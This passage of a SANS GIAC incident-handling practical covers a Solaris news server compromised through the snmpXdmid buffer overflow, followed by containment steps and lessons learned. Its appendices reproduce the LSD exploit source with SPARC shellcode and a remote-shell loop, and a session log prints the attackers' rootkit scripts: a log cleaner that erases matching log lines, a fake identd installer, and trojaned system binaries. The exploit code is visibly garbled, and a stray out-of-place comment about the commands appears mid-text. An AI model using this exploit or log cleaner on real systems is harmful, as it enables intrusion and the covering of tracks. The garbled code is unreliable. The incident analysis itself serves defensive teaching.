<td>32773</td>
<td>sadmind</td>
</tr>
<tr>
<td>100011</td>
<td>1</td>
<td>udp</td>
<td>32774</td>
<td>rquotad</td>
</tr>
<tr>
<td>100002</td>
<td>2</td>
<td>udp</td>
<td>32775</td>
<td>rusersd</td>
</tr>
<tr>
<td>100002</td>
<td>3</td>
<td>udp</td>
<td>32775</td>
<td>rusersd</td>
</tr>
<tr>
<td>100002</td>
<td>2</td>
<td>tcp</td>
<td>32772</td>
<td>rusersd</td>
</tr>
<tr>
<td>100002</td>
<td>3</td>
<td>tcp</td>
<td>32772</td>
<td>rusersd</td>
</tr>
<tr>
<td>100012</td>
<td>1</td>
<td>udp</td>
<td>32776</td>
<td>sprayd</td>
</tr>
<tr>
<td>100008</td>
<td>1</td>
<td>udp</td>
<td>32777</td>
<td>walld</td>
</tr>
<tr>
<td>100001</td>
<td>2</td>
<td>udp</td>
<td>32778</td>
<td>rstatd</td>
</tr>
<tr>
<td>100001</td>
<td>3</td>
<td>udp</td>
<td>32778</td>
<td>rstatd</td>
</tr>
<tr>
<td>100001</td>
<td>4</td>
<td>udp</td>
<td>32778</td>
<td>rstatd</td>
</tr>
<tr>
<td>100083</td>
<td>1</td>
<td>tcp</td>
<td>32773</td>
<td></td>
</tr>
</tbody>
</table>
The various alert bulletins for the snmpXdmid vulnerability were out in mid March 2001 along with proof of concept code. The logging for ids and firewall was set up to be written over every six months and no archiving strategy was in place. They had no way of going back 8 months to look at logs. One of the outstanding issues was log file maintenance for firewalls and ids. Based on evidence on hand the conclusion was the snmpXdmid vulnerability was used to gain initial access, and then the root kit was installed to ensure continued access to the server.

3.3 Containment

Moe, Larry and Curly debated what to do. Three problems existed. The first was the root kit with the SSHD daemon. Secondly was the condition of other servers. The last issue was how to correct the snmpXdmid vulnerability.

The incident manager would expect a recommendation. Curly thought the server should be taken off the network immediately. Moe wanted to know if any other machines where affected. They called the incident and security managers to discuss the options. The marketing manager in charge of the service was not available. Concern was expressed about the root kit. Taking into consideration
the potential for a destructive logic bomb, the following decisions were made:

1. Leave the external network connection and remove the backup network connection. They didn’t want to affect news service to customers. – The backup connection was removed immediately
2. Scan other systems and subnets for port 1599. – No other systems showed SSHD running on port 1599.
3. Place a sniffer, from Network Associates, to monitor activity to port 1599.
4. Look at dshield.org for any attacks originating from news.bigcityisp.com. – None were found.
5. Review firewall rule sets.
6. Look for another box to replace the news server.

Curly went to look at the firewall rule set. He was looking for rules that applied to the news server. What he found was rules that allowed all DSL clients IP ranges full access into the DMZ. He asked why those rules where there. Moe answered “I think we added them for people doing application support from home. They didn’t know what ports they needed so we put the all rules in place. We were supposed to go back through the logs and tighten up the rule set. I guess we forgot.”

Moe had looked through the backup tapes earlier using the Networker GUI shown in Figure . No one had thought to do a complete backup before logging on to the server to analyze further. The process they could have followed to do a complete backup using the Networker GUI would be:

1. Logon to the machine you want to start the backup from.
2. Type nwbackup
3. Check off root folder and ensure all folders in the right hand window are checked off.
4. Select your server you want the backup to go too.
5. Click on Start.

Or

1. Start the backup from the target server instead.
With incident response being in its infancy there was no jump kit. The only item was an incident handling form which Moe began filling out.

The tools used to perform the scans were nmap (the command and output is shown earlier on pages 5 and 6) and CyberCop scanner. The containment method chosen was one of watch and react. Tightening firewall rule sets and log monitoring were done for other systems. TCP wrappers were installed on other machines in the DMZ. The news server was monitored for access to the sshd daemon. The initialization scripts for DMI were turned off in the /etc/rc2.d directory by renaming the /etc/rc?.d/S??dmi to /etc/rc?.d/K07dmi as recommended in the alert bulletin from Job Hass.

### 3.4 Eradication.
The root kit and potential logic bomb dictated the eradication method chosen - do a fresh build on a new server. The box would be a Sun 250 with Solaris 2.8 with all current patches applied. The new server took one month to build. The news software (Cyclone) was upgraded to version 2.

Once the new server was built a new IP address was assigned to it. This allowed for a cutover of news feed clients from the old server. Once clients were cutover to the new server the old news.bigcityisp.com was removed.

The rule sets on the firewall were modified to block all ports but the news (tcp 119) port from the Internet to the news server.

The events were discussed. Moe and Larry had some opinions on what needed correction. Curly had been doing scans for years. The information showed that there were many servers that had known high-level vulnerabilities and vendors had patches available to correct them. Patches for servers were applied when software was updated. No group was assigned to a regular patching strategy. The result of not patching was evident with the compromise.

Firewall rule sets required attention. The “I’ll come back to it” attitude coupled with a fire fighting job environment meant tasks were left incomplete. Effective manpower, training and job management was required. The result of these unresolved issues was the attacker compromising the news server through a sloppy rule on the firewall.

Home machines used for accessing corporate resources require attention. The weakest chain in the link will break. Training for home users on security is a starting point. The attacker took advantage of:

- A weak telnet password on a home machine.
- Sloppy rule set on a Firewall.
- Sloppy admin practices:
  a. No patching strategy
  b. No review of logs
  c. Inconsistent operating system installs
  d. Inadequate knowledge of security

3.5 Recovery.

The recovery process was one of removing the old server and putting a new server into production. When the new build was installed only services essential to running the news server application were turned on. The rule set on the firewall was restricted to allow traffic in only for services that were being offered. Home access was allowed only through VPN. Authentication services were set up to use token authentication.
The vulnerability scanning was stepped up on the servers. A project was initiated to provide a log service for monitoring and reporting log events from the ids and firewall logs.

### 3.6 Lessons Learned.

Incident Analysis of the provided the following list of lessons learned: 14

1. The security team needs a strong corporate sponsor at the Executive level.
2. Every project must have personnel and budget for security.
3. A transition plan is needed to implement the policies.
4. Centralized logging and a logging process must include alerting. This may have spotted the suspicious activity months earlier. IDS and firewall logs need to be part of the alerting process.
5. All servers need a secure, reproducible operating system build.
6. Vulnerability assessments must trigger immediate correction of High-level issues.
7. CIRT process must have defined roles and responsibilities.
8. 7x24 staffing or call out staffing must be available.
9. The company must have an accessible software library.
10. The CIRT must have a forensic toolkit.
11. The system administrators must have a routine patching strategy.
12. The move into the Incident-handling mode must be made sooner. Training on incident handling and experience will help get the process started sooner.
13. Logbooks with numbered pages need to be used. This helps establish a "chain of custody" for evidence. Incident items would then be recorded on what was being done, such as; commands, responses, details on any calls or contacts with dates and times. (Why a written logbook? By using a written log with numbered and dated pages you have a verifiable trail. If necessary additional items, such as printouts can be attached. Written logs help if you end up in court).
14. When an incident is suspected, the first course of action should be to create a backup. The risk of evidence being lost and contaminated is too high without first making a backup. The backup helps to preserve the evidence, the initial "found" state of the problem.
15. Employees need education regarding security on home systems.
17. Firewall creep is directly proportional to the length of time a firewall has been in service. Rule set checks must be routine. Again adequate staffing will help to ensure tasks are completed.
18. Departmental reorganization must not create orphan systems that no one owns or maintains.
19. Detailed run books must exist.
Appendix (A). Glossary – from DMI Specification

This Glossary is from Appendix E of “DMI Desktop Management Interface Specification”, Version 2.0s June 24, 1998: 245-247

Component
Any hardware, software or firmware element contained in (or primarily attached to) a computer system.

Component Instrumentation
The executable code that provides DMI management functionality for a particular component.

Component Interface (CI)
The DMI layer used by component instrumentations.

Confirm
The final response from a Request.

Confirm Buffer
The area of memory where a component instrumentation or service provider puts response data.

Credentials
A set of parameters uniquely identifying a principal in the system. The credentials may also contain authentication-related parameters (such as password hash or trusted certificate authority signature).

Direct Interface
Method by which a component instrumentation informs the service provider that it (the component instrumentation) is already running. Rather than starting the code to service incoming requests, the service provider will use the already running code.

DMI
Desktop Management Interface.

DMI Security Indications
Special type of DMI indications generated by a DMIv2.0s Service Provider upon performing certain DMI requests.

DMTF
Desktop Management Task Force

Event
A type of indication (unsolicited report) that originates from a component instrumentation.

Event Generator
A hardware or software device that has undergone a change in state or in which a certain condition of interest has occurred. This change of state or condition will directly or indirectly cause a new event to be processed by the service provider which then produces and delivers an Indication data structure to event consumers that have registered their interest in receiving Indications.

Event Reporter
The software entity that causes a new DMI event to be processed by the service provider. Events are “reported” by calling the service provider entry point DmiIndicate().

Event Consumer
A software entity that has registered with the service provider through the MI with a non null indication callback procedure address.

Group
A collection of attributes. A group with multiple instances is called a table.

Indication
An unsolicited report, either from a component instrumentation to the service provider, or from the service provider to a management application.

Management Interface (MI)
The DMI layer between management applications and the service provider.

MIF
Management Information Format; the format used by the DMI for describing components.

---

| **MIF Database** | The collection of known *MIF files*, stored by the *service provider* (in an implementation-specific format) for fast access. |
| **Response** | The final response from an *Indication*. |
| **Role** | A logical entity that has a name and a set of authorization permissions. Usually there is a set of principals associated with a role. |
| **Row** | An instance of a *table*. |
| **Service provider (SL)** | The code between the MI and CI that arbitrates access to *component instrumentation* and manages the *MIF database*. |
| **SNMP** | Simple Network Management Protocol, an Internet-based network management protocol standardized by the IETF. |
| **System** | A computer. |
Appendix (B). Source Code solsparc_snmpXdmid.c

/*## copyright LAST STAGE OF DELIRIUM mar 2001 poland        *://lsd-pl.net/ #*/
/*## snmpXdmid                                                            */
/* as the final jump to the assembly code is made to the heap area, this code */
/* also works against machines with non-exec stack protection turned on  */
/* due to large data transfers of about 128KB, the code may need some time to */
/* proceed, so be patient                                              */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#define SNMPXDMID_PROG 100249 /* SNMPXDMID_PROG is initialized to 100249 */
#define SNMPXDMID_VERS 0x1   /* SNMPXDMID_VERS is initialized to 0x1 */
#define SNMPXDMID_ADDCOMPONENT 0x101 /* SNMPXDMID_ADDCOMPONENT is initialized to 0x101 */

/* The findsckcode allows for the continued use of an existing TCP connection. The character data type can be any letter of the alphabet, upper and lower case, digits, and special characters */

char findsckcode[] =
  "x20\xbfx\xff\xff" /* bn,a <findsckcode-4> */ /* The first three lines obtain the base address*/
  "x20\xbfx\xff\xff" /* bn,a <findsckcode> */
  "x7f\xff\xff\xff" /* call <findsckcode+4> */
  "$x33\x02\x12\x34"/* mov 0xff,%l0 */
  "$x2a\x10\x20\x54"/* move 0x54,%l1 */
  "$xa4\x03\xff\xd0"/* add %o7,-48,%l2 */
  "$xaax0\x0e\x28"/* add %o7,40,%l5 */
  "$x81\xc5\x60\x08"/* jmp %l5+8 */
  "$xc0\x2b\xff\xfb"/* \n  "$xe6\x03\xff\xd0"/* ld [%o7-48],%l3 */
  "$xe8\x03\xff\xd0"/* ld [%o7+4],%l4 */
  "$xa8\x4c\x0e\x14"/* subcc %l3,%l4,%l4 */
  "$x02\xbf\xff\xffb"/* bz <findsckcode+32> */
  "$xaax0\x0e\x2c"/* add %o7,92,%l5 */
  "$xe2\x23\xff\xe4"/* st %l1,[%o7-60] */
  "$xe2\x23\xff\xe8"/* st %l1,[%o7-56] */
  "$xe4\x23\xff\xe4"/* st %l2,[%o7-52] */
  "$x90\x04\x20\x01"/* add %l0,1,%o0 */
  "$xa7\x2c\x60\x08"/* sll %l1,8,%l3 */
  "$x92\x14\xe0\x91"/* or %l3,0x91,%o1 */
  "$x94\x03\xff\xe4"/* add %o7,-60,%o2 */
"\x82\x10\x20\x36"  /* mov 0x36,%g1 */
"\x91\xd0\x20\x08"  /* ta 8 */
"\x1a\xbf\xff\xf1"  /* bcc <findsckcode+36> */
"\xa0\xa4\x20\x01"  /* deccc %l0 */
"\x12\xbf\xff\xff"  /* bne <findsckcode+112> */
"\x91\xd0\x20\x08"  /* ta 8 */

*/ shellcode will execute the /bin/ksh program */

char shellcode[]="\
  "\x20\xbf\xff\xff"  /* bn,a <shellcode-4> */
  "\x20\xbf\xff\xff"  /* bn,a <shellcode> */
  "\x7f\xff\xff\xff"  /* call <shellcode+4> */
  "\x90\x04\x20\x02"  /* add %l0,2,%o0 */
  "\x92\x02\x20\x09"  /* mov 0x09,%o1 */
  "\x94\xff\xff\xff"  /* add %o1,-1,%o2 */
    "\x82\x10\x20\x3e"  /* mov 0x3e,%g1 */
    "\xa6\x84\xff\xff"  /* addcc %l3,-1,%l3 */
    "\x12\xbf\xff\xff"  /* bne <findsckcode+112> */
  ";

/* Static is used when you want a function to remember values between function calls. */

static char nop[]="\x80\x1c\x40\x11";

/* The structure req_t is defined */
A commonly used programming technique when dealing with structure declarations is to use a typedef statement. This provides a simple method for creating a new typically shorter name for an existing structure type.12 */

typedef struct{
  struct{unsigned int len;char *val;}name;
  struct{unsigned int len;char *val;}pragma;
}req_t;

/* Test function */

bool_t xdr_req(XDR *xdrs,req_t *objp){
  char *v=NULL;unsigned long l=0;int b=1;
  if(xdr_u_long(xdrs,&l)) return(FALSE);
  if(xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
  if(!xdr_bool(xdrs,&b)) return(FALSE);
  
if(!xdr_u_long(xdrs,&l)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),
    (xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_bool(xdrs,&b)) return(FALSE);
if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),
    (xdrproc_t)xdr_char)) return(FALSE);
if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);
if(!xdr_u_long(xdrs,&l)) return(FALSE);
return(TRUE);

/* Main program begins below, local variables are defined along with predefined structs */

main(int argc,char **argv){
    char buffer[140000],address[4],pch[4],*b;
    int i,c,n,vers=-1,port=0,sck;
    CLIENT *cl;enum clnt_stat stat;
    struct hostent *hp;
    struct sockaddr_in adr;
    struct timeval tm={10,0};
    req_t req;

    printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/n\n");
    printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");

    /* testing and setting of arguments */

    if(argc<2){
        printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
        exit(-1);
    }

    while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){
        switch(c){
            case 'p': port=atoi(optarg);break;
            case 'v': vers=atoi(optarg);
        }
    }

    switch(vers){
        case 7: *(unsigned int*)address=0x000b1868;break;
        case 8: *(unsigned int*)address=0x000cf2c0;break;
        default: exit(-1);
    }

    /* htonl convert host-to-network, long integer */
    *(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
    *(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);

    /* ntohl convert network-to-host, long interger */
    /* output to stdout */

    printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
    fflush(stdout);

    adr.sin_family=AF_INET;
    adr.sin_port=htons(port); /* htons convert host-to-network, short integer */
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
    if((hp=gethostbyname(argv[1]))==NULL){
        errno=EADDRNOTAVAIL; perror("error");exit(-1);
    }
    memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}

sck=RPC_ANYSOCK; /* RPC port query for snmpxdmid tcp port number*/
if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
    clieterror("error");exit(-1); /* if a connection is not available send an error and exit program */
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

#define sizeof(struct sockaddr_in)
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
    struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
    ioctl(sck,('S'<<8)|2),"sockmod");
    nb.maxlen=0xffff;
    nb.len=sizeof(struct sockaddr_in);
    nb.buf=(char*)&adr;
    ioctl(sck,('T'<<8)|144),&nb);
}

n=ntohs(adr.sin_port);
printf("port=%d connected! ",n);fflush(stdout);

findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
findsckcode[12+3]=(unsigned char)(n&0xff);

b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
*b=0;

b=&buffer[10000];
for(i=0;i<64000;i++) *b++=nop[i%4];
for(i=0;i<64000-188;i++) *b++=nop[i%4]; /* no op slide */
for(i=0;i<strlen(findsckcode);i++) b+=foundsckcode[i]; /* holding TCP connection */
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; /* Sends shellcode */
*b=0;

/* values are placed */

req.name.len=1200+400+4;
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000]; /* location of buffer overflow */

stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tim);
if(stat==RPC_SUCCESS) {printf("error: not vulnerable
");exit(-1);} printf("sent!"); /* Exploit is sent */

write(sck,"/bin/uname -a\n",14); /* host information will be displayed if attack is successful */
while(1){
    fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
  int cnt;
  char buf[1024];
  if(FD_ISSET(0,&fds)){
    if((cnt=read(0,buf,1024))<1){
      if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
      else break;
    }
    write(sck,buf,cnt);
  }
  if(FD_ISSET(sck,&fds)){
    if((cnt=read(sck,buf,1024))<1){
      if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
      else break;
    }
    write(1,buf,cnt);
  }
}
Script command is started on Tue Nov 13 16:42:17 CST 2001.
root@# tn news.bigcityisp.com
Trying...
Connected to news.bigcityisp.com
Escape character is "^T".

SunOS 5.7

login: xxxxx
Password:
Last login: Tue Nov 13 16:39:34 from no-where-in-the-world
$ su -
Password:
You have new mail.
news.bigcityisp.com:/export/home/root>>cd /dev/pts/01/
news.bigcityisp.com:/dev/pts/01>>cd /dev/pts/01/ [15Dexit [K    cat patcher [11Dfile patcher patcher:
exutable shell script
news.bigcityisp.com:/dev/pts/01>>file patcher [12Dcd /dev/pts/01/ [15Dexit [K    cat patcher #!/bin/sh

VER=`uname -r`
cd /tmp
# ./install_cluster -nosave -q

# Ok.. so if theyre not lame, and running this on SunOS like they should...
case $VER in
  5.5)
    # 5.5 patchkit replaces su, ps, ping, login
    cp /usr/bin/su /dev/pts/01/55su
    cp /usr/bin/ps /dev/pts/01/55ps
    cp /usr/sbin/ping /dev/pts/01/55ping
    cp /usr/bin/login /dev/pts/01/55login
    /usr/bin/wget ftp://sunsolve.sun.com/pub/patches/2.5_Recommended.tar.Z >/dev/null
    uncompress 2.5_Recommended.tar.Z
tar -xf 2.5_Recommended.tar
cd 2.5_Recommended
echo y|./install_cluster -nosave -q
cd /tmp
    rm -rf 2.5_Recommended.tar 2.5_Recommended
    cp -f /usr/bin/su /dev/pts/01/bin/su
    cp -f /dev/pts/01/55su /usr/bin/su
    cp -f /usr/bin/ps /dev/pts/01/bin/psr
    cp -f /dev/pts/01/55ps /usr/bin/ps
    cp -f /usr/sbin/ping /dev/pts/01/bin/ping
    cp -f /dev/pts/01/55ping /usr/sbin/ping
    mv -f /usr/bin/login /sbin/xlogin
    cp -f /dev/pts/01/55login /usr/bin/login
  ;;
5.5.1)
    cp /usr/bin/su /dev/pts/01/55su

© SANS Institute 2000 - 2002  As part of GIAC practical repository.  Author retains full rights.
The text contains a series of commands to copy files and execute scripts. The commands are not clearly cohesive and appear to be part of a patch management or system modification process. The text is difficult to interpret due to the lack of context and coherence in the command structure.
cp -f /usr/bin/su /dev/pts/01/bin/su
 cp -f /dev/pts/01/55su /usr/bin/su
 cp -f /usr/bin/ps /dev/pts/01/bin/psr
 cp -f /dev/pts/01/55ps /usr/bin/ps
 cp -f /usr/sbin/ping /dev/pts/01/bin/ping
 mv -f /usr/bin/login /sbin/xlogin
 cp -f /dev/pts/01/55login /usr/bin/login

5.8)
cp /usr/bin/su /dev/pts/01/55su
 cp /usr/bin/ps /dev/pts/01/55ps
 cp /usr/sbin/ping /dev/pts/01/55ping
 cp /usr/bin/login /dev/pts/01/55login

/usr/bin/wget ftp://sunsolve.sun.com/pub/patches/2.8_Recommended.tar.Z >/dev/null
uncompress 2.8_Recommended.tar.Z
tar -xf 2.8_Recommended.tar
cd 2.8_Recommended
echo y ./install_cluster -nosave -q
cd /tmp
rm -rf 2.8_Recommended.tar

printf "Patcher complete\n"
touch /dev/pts/01/PATCHER_COMPLETED

news.bigcityisp.com:/dev/pts/01>>ls -alF total 318
 drwxrwxr-x  3 root  other  512 Mar  8  2001 .
 drwxrwxr-x  3 root  sys    1024 Mar  8  2001 ..
 drwxrwxr-x  2 root  other  512 Mar  8  2001 bin/
- rw-r-xr-x  1 root  other  17552 Mar  8  2001 bnclp*
- rw-r-xr-x  1 root  other  8672 Mar  8  2001 crypt*
- rw-r-xr-x  1 root  other  188 Mar  8  2001 idrun*
- rw-r-xr-x  1 root  other  15180 Mar  8  2001 idsol*
- rw-r-xr-x  1 root  other  35376 Mar  8  2001 l3*
- rw-r-xr-x  1 root  other  4469 Mar  8  2001 patcher*
- rw-r-xr-x  1 root  other  8332 Mar  8  2001 pg*
- r-sr-xr-x  1 root  other  18360 Mar  8  2001 su-backup*
- rw-r-xr-x  1 root  other  35376 Mar  8  2001 urklogin*
- rw-r-xr-x  1 root  other  8024 Mar  8  2001 utime*

news.bigcityisp.com:/dev/pts/01>>file bnclp bnclp:        ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
news.bigcityisp.com:/dev/pts/01>>fin

bnclp: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
cleaner: executable shell script
crypt: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
idrun: executable shell script
idsol: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
l3: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
patcher: executable shell script
pg: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
su-backup: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
uconf.inv: data
urklogin: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped
utime: ELF 32-bit MSB executable SPARC Version 1, dynamically linked, stripped

news.bigcityisp.com:/dev/pts/01>>cat cleaner 
#!/bin/sh
#
# Generic log cleaner v0.4 By: Tragedy/Dor (dor@kaapeli.net)
# Based on sa uber..
#
# This is TOTALLY incomplete... I never added support for IRIX or SunOS...
# And.. i most likely never will.. And i take no responsibility for any use/misuse
# of this tool..
#
# Notes-0.3
# SunOS support added.. had to rewrite most of it :P
# Notes-0.4
# Beta IRIX support added and enabled...

colours()
{
    BLK=\[1;30m
    RED=\[1;31m
    GRN=\[1;32m
    YEL=\[1;33m
    BLU=\[1;34m
    MAG=\[1;35m
    CYN=\[1;36m
    WHI=\[1;37m
    DRED=\[0;31m
    DGRN=\[0;32m
    DYEL=\[0;33m
    DBLU=\[0;34m
    DMAG=\[0;35m
    DCYN=\[0;36m
    DWHI=\[0;37m
    RES=\[0m
}
colours

banner()
{
    echo "$\{DCYN\}Log cleaner $\{WHI\}v0.4b By: Tragedy/Dor"
}
banner

if [ $# != 1 ]
then
  echo "${WHI}* ${DWHI}Usage${WHI}: " basename $0 " <${DWHI}string${WHI}>${RES}"
  echo """ 
  exit
fi
echo "OS detection....." 
OS= `uname -s`
GZIP=`which gzip`
#if [ $GZIP != "" ]
#if echo "${WHI}* ${DWHI}GZIP found in ${DCYN}$GZIP${DWHI}, Compressed logs will be cleaned"
#GZIP=YES
#fi
# echo "Detected ${DCYN}$OS${DWHI}"
# echo "Log cleaning in process...."

case ${OS} in
  Linux)
    WERD=`/bin/ls -F /var/log | grep -v ".*" | grep -v ".*tgz" | grep -v ".*.gz" | grep -v ".*.tar" | grep -v ".*lastlog" | grep -v ".*btmp" | grep -v ".*utmp" | grep -v ".*wtmp" | grep -v "$@"
    # WERDGZ=`/bin/ls -F /var/log | grep -v ".*tgz" | grep -v ".*targz" | grep -v ".*btmp" | grep -v ".*gz" | grep -v "$@
    LOGPATH="/var/log"
    ;;
  SunOS)
    LOGPATH="/var/adm"
    WERD=`/bin/ls -F $LOGPATH | grep -v ".*" | grep -v ".*tgz" | grep -v ".*.gz" | grep -v ".*.tar" | grep -v "$@"
    ;;
  IRIX)
    LOGPATH="/var/adm"
    WERD=`/bin/ls -F $LOGPATH | grep -v ".*" | grep -v ".*tgz" | grep -v ".*.gz" | grep -v ".*.tar" | grep -v "$@"
    ;;
  FreeBSD)
    WERD=`/bin/ls -F /var/log | grep -v ".*" | grep -v ".*tgz" | grep -v ".*.gz" | grep -v ".*.tar" | grep -v ".*lastlog" | grep -v ".*utmp" | grep -v ".*wtmp" | grep -v "$@
    # WERDGZ=`/bin/ls -F /var/log | grep -v ".*tgz" | grep -v ".*tar.gz" | grep -v ".*gz" | grep -v "$@
    LOGPATH="/var/log"
    ;;
  *)
    echo "${WHI}*${DWHI}${RED} FATAL ERROR ${DWHI} Your O/S ${YEL}${OS}${DWHI} is UNKNOWN!"
    exit 10
    ;;
  esac

for fil in $WERD
do
  lines=`cat $LOGPATH/$fil | wc -l`
  echo "---< Log cleaning in process...."
  for fil in $WERD
do
    lines=`cat $LOGPATH/$fil | wc -l`
printf "${WHI}* ${DWHI}Cleaning ${DCYN}$fil $(${DWHI}lines $(${DWHI}lines $(${WHI})($fil)${BLK}...${RES})"

grep -v $1 $LOGPATH/$fil > new
touch -r $LOGPATH/$fil new
mv -f new $LOGPATH/$fil

newlines=`cat $LOGPATH/$fil | wc -l`
linedel=`expr $lines - $newlines`

printf "${WHI}$linedel ${DWHI}lines removed!${RES}"

done

# if [ $GZIP != "" ]
# then#
#    echo "---<[ Decompressing gzipped logfiles...."
#    TMPDIR=$RANDOM$RANDOM$RANDOM$RANDOM
#    # Ok.. so there's a race condition here :)
#    mkdir /tmp/$TMPDIR
#    for fil in $WERDGZ
#    do
#      cp $LOGPATH/$fil /tmp/$TMPDIR/
#      rm $LOGPATH/$fil
#      gzip -d /tmp/$TMPDIR/$fil
#      echo "${WHI}* ${DWHI} Putting ${DCYN}$fil ${DWHI} to /tmp/$TMPDIR/ .... ${WHI}Decompressed${DWHI}"
#    done
#
#    WERD2=$(/bin/ls -F /tmp/$TMPDIR/ | grep -v "/" | grep -v "*" | grep -v "tgz" | grep -v ".gz" | grep -v "utmp" | grep -v "wtmp" | grep -v "@")
#    #
#    echo "---<[ Cleaning gzipped logfiles..."
#    for fil in $WERD2
#    do
#      line=$(wc -l /tmp/$TMPDIR/$fil | awk -F ' ' '{print $1}')
#      echo -n "${WHI}* ${DWHI}Cleaning ${DCYN}$fil $(${DWHI}lines $(${DWHI}lines $(${WHI})$fil)${BLK}...${RES})"
#      grep -v $1 /tmp/$TMPDIR/$fil > new
#      touch -r /tmp/$TMPDIR/$fil new
#      mv -f new /tmp/$TMPDIR/$fil
#      newline=$(wc -l /tmp/$TMPDIR/$fil | awk -F ' ' '{print $1}')
#      linedel=`expr $line - $newline`
#      gzip -9 /tmp/$TMPDIR/$fil
#      echo "${WHI}$linedel ${DWHI}lines removed!${RES}"
#      cp /tmp/$TMPDIR/$fil.gz $LOGPATH/
#      rm /tmp/$TMPDIR/$fil.gz
#    done
#    rmdir /tmp/$TMPDIR
#fi

if [ $OS = "Linux" ]
then
  echo "Linux detected... rehashing syslog"
  killall -HUP syslogd
fi

news.bigcityisp.com:/dev/pts/01>>cat idrun #! /bin/sh

# Quick installer for Solaris fake identd daemon
#
# USAGE: ./idrun <ident name>
#
echo */usr/lib/lpsys $1* >>/etc/rc3
/usr/lib/lpsys $1
echo "Ident started with username $1"
news.bigcityisp.com:/dev/pts/01>>strings uconf.inv news.bigcityisp.com:/dev/pts/01>>cd bin
news.bigcityisp.com:/dev/pts/01/bin>>ls -alF total 510
drwxrwxr-x 2 root other 512 Mar 8 2001 ./
drwxrwxr-x 3 root other 512 Mar 8 2001 ../
-r-xr-xr-x 1 root other 8000 Mar 8 2001 du*
-r-xr-xr-x 1 root other 18584 Mar 8 2001 find*
-r-xr-xr-x 1 root other 17440 Mar 8 2001 ls*
-r-xr-xr-x 1 root other 52272 Mar 8 2001 netstat*
-r-sr-sr-x 1 root other 96392 Mar 8 2001 passwd*
-r-sr-x-x 1 root other 19452 Mar 8 2001 ping*
-r-sr-x-x 1 root other 26372 Mar 8 2001 psr*
-r-sr-x-x 1 root other 18360 Mar 8 2001 su*
news.bigcityisp.com:/dev/pts/01/bin>>exit logout
$ exit
Connection closed.
root@# date
Tue Nov 13 16:47:47 CST 2001
root@# exit
Script command is complete on Tue Nov 13 16:47:48 CST 2001.
References
Key fingerprint = AF19 FA27 2F94 998D FDB5 DE3D F8B5 06E4 A169 4E46

1 Russell, Ryan “Carko/snmpXdmid Analysis v1.0” April 18, 2001
   URL: <http://online.securityfocus.com/archive/75/177587>
2 LSD Research Group, “snmpXdmid” April 2001
   URL: <http://www.lsd-pl.net/code/SOLARIS/solparc_snmpxdmid.c
   URL: http:// www2.fedcirc.gov/alerts/advisories_1998.html
   URL: http:// www2.fedcirc.gov/alerts/advisories_1999.html
   URL: http:// www2.fedcirc.gov/alerts/advisories_2000.html
   URL: http:// www2.fedcirc.gov/alerts/advisories_2001.html
4 Cohen, Cory F. “Vulnerability Note VU#648304 – Sun Solaris DMI to SNMP mapper
   daemon snmpXdmid contains buffer overflow” 09/14/2001.
   URL: http://www.kb.cert.org/vuls/id/648304
   URL: http://online.securityfocus.com/archive/1/39436
   URL: http://www.itsx.com/snmpXdmid.html
7 Desktop Management Task Force (DMTF). Desktop Management Interface
   Specification, Version 2.0s June 24, 1998:
   URL: http://www.dmtf.org/download/spec/dmi20s.zip
   URL: http://www.sun.com/software/entagents/docs/UGhtml/smagtugTOC.doc.html
9 Stevens, W. Richard. TCP/IP Illustrated, Volume 1.
10 The Last Stage of Delirium Research Group, “UNIX Assembly Codes Development for
    Vulnerabilities Illustration Purposes”, Version 1.0.2, July 4, 2001
    URL: http://www.lsd-pl.net/documents/asmcodes-1.0.2.pdf
11 Roesch, Martin “Snort Users Manual - Snort Release 1.8.4” 19 March 2002,
12 Ethereal network sniffer Version 0.8.15
13 Legato - Networker Client GUI interface.
14 Sans: Course material: “Incident Handling Step-by-Step and Computer Crime
15 Certified Students and Posted Practicals
   URL: http://www.giac.org/practical/Fabio_Camarozano_GCIH.zip
### Upcoming SANS Penetration Testing

<table>
<thead>
<tr>
<th>Event Name</th>
